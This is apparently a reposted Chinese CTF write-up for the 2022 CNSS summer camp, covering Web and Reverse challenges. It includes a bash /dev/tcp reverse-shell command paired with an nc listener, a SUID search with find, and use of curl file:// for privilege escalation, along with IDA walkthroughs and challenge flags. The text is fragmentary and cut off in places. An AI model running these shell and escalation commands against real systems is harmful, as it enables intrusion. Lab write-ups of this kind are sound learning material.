[CTF] 2022 CNSS夏令营 Web&Reverse 复现wp

您所在的位置:网站首页 decode word [CTF] 2022 CNSS夏令营 Web&Reverse 复现wp

[CTF] 2022 CNSS夏令营 Web&Reverse 复现wp

2024-01-14 04:04| 来源: 网络整理| 查看: 265

写在前面

我是真的喜欢凝聚啊, 大家一起就像情侣一样

image

很有趣的一次(大)学前教育, 作为一个22级泥电新生, 以前没接触过ctf, 进新生群然后就被拉进来Van了. 结果没想到还挺好玩(可能是我这几天太无聊了), 边学边打居然还能当榜一, 满足了.

还是很开心的, 高二有想过打CTF, 但是后面搁置了就忘了, 这也算是圆梦了. 一下能入门接触到这些Web/Re/PWN/Crypto, 接触了IDA/Burp Suite/PWNTools等等, 很有成就感, 也很有满足感. 至少暑假不是在颓废了. 嘿嘿~

BTW, CNSS的佬们还是很好很热情的, 氛围很好, 开森(/≧▽≦)/.

WEB 🚩 Signin | 难度评分: ★

新手友好签到题!

直接打开链接, 显示Please Change Your Method!. 改成Post后访问出现PHP代码:

&xxe; ''' ... Step 3. 反弹shell

根据hint可以想到用doCmd反弹一个shell, 这里可能需要你有一个具有公网ip的服务器.

先贴上代码, command改为如下:

command = 'bash -i >& /dev/tcp/你服务器公网ip/你nc监听的端口 0>&1' # 反弹shell

使用你的服务器打开nc监听, 具体命令为nc -l -vv -p [端口], 比如我使用nc -l -vv -p 6809, 效果如下, 说明已经开始监听:

image

此时运行上面的代码, 可以发现shell已经被弹到我们的命令行中了, 此时可以随意输入指令了

image

Step 4. 使用curl命令提权, 访问flag

在shell中返回到根目录, ls发现有fl444444g, 直接输出发现权限不足, 需要提权.

image

此处当时我寻找的教程是知乎文章: Linux提权的几种常用方式, 也推荐仔细阅读一下hurrison大佬hint中的教程, 更加详细.

使用命令find / -perm -u=s -type f 2>/dev/null找到有root权限的命令:

image

发现curl在其中, 可以使用file://协议 + curl读取文件:

命令: curl file:///fl444444g

image

找到flag.

CNSS{5dc5330bbeac0192a8db6bf9b269470781e74aff192623e0419edfa0c5e2f8ad}

Reverse 💡 Hello Reverse | 难度评分: ★

下载IDA, 打开工程, flag就在眼前.

image

cnss{This_is_the_format_of_flag}

🐸 Find the key | 难度评分: ★

可以扔进linux运行, 可以不运行. 我直接用IDA打开, 找到main函数, 跟着hint一步一步来.

image

Hint:push F5 in the IDA.按下F5反编译, 可以看到伪C代码.

image

看函数有个叫click_me的, 直接点开

image

You can see the key1 in assemble window去assemble window可以看到转char后的变量值

image

找到第一部分flagIDA-is

继续走到next, 提示进I_am_hear

image

进去后看到第二部分flaga-useful-tool, 并提示搜索key, 搜索到结果of-reverse

image

所以flag就是cnss{IDA-is-a-useful-tool-of-reverse}

💯 Baby C code | 难度评分: ★

扔IDA直接F5, 得到核心伪代码:

int __cdecl main(int argc, const char **argv, const char **envp) { char a[6]; // [rsp+2Ah] [rbp-16h] BYREF int i_1; // [rsp+30h] [rbp-10h] int i_0; // [rsp+34h] [rbp-Ch] char b; // [rsp+3Bh] [rbp-5h] int i; // [rsp+3Ch] [rbp-4h] _main(argc, argv, envp); strcpy(a, "cnss{"); for ( i = 0; i


【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3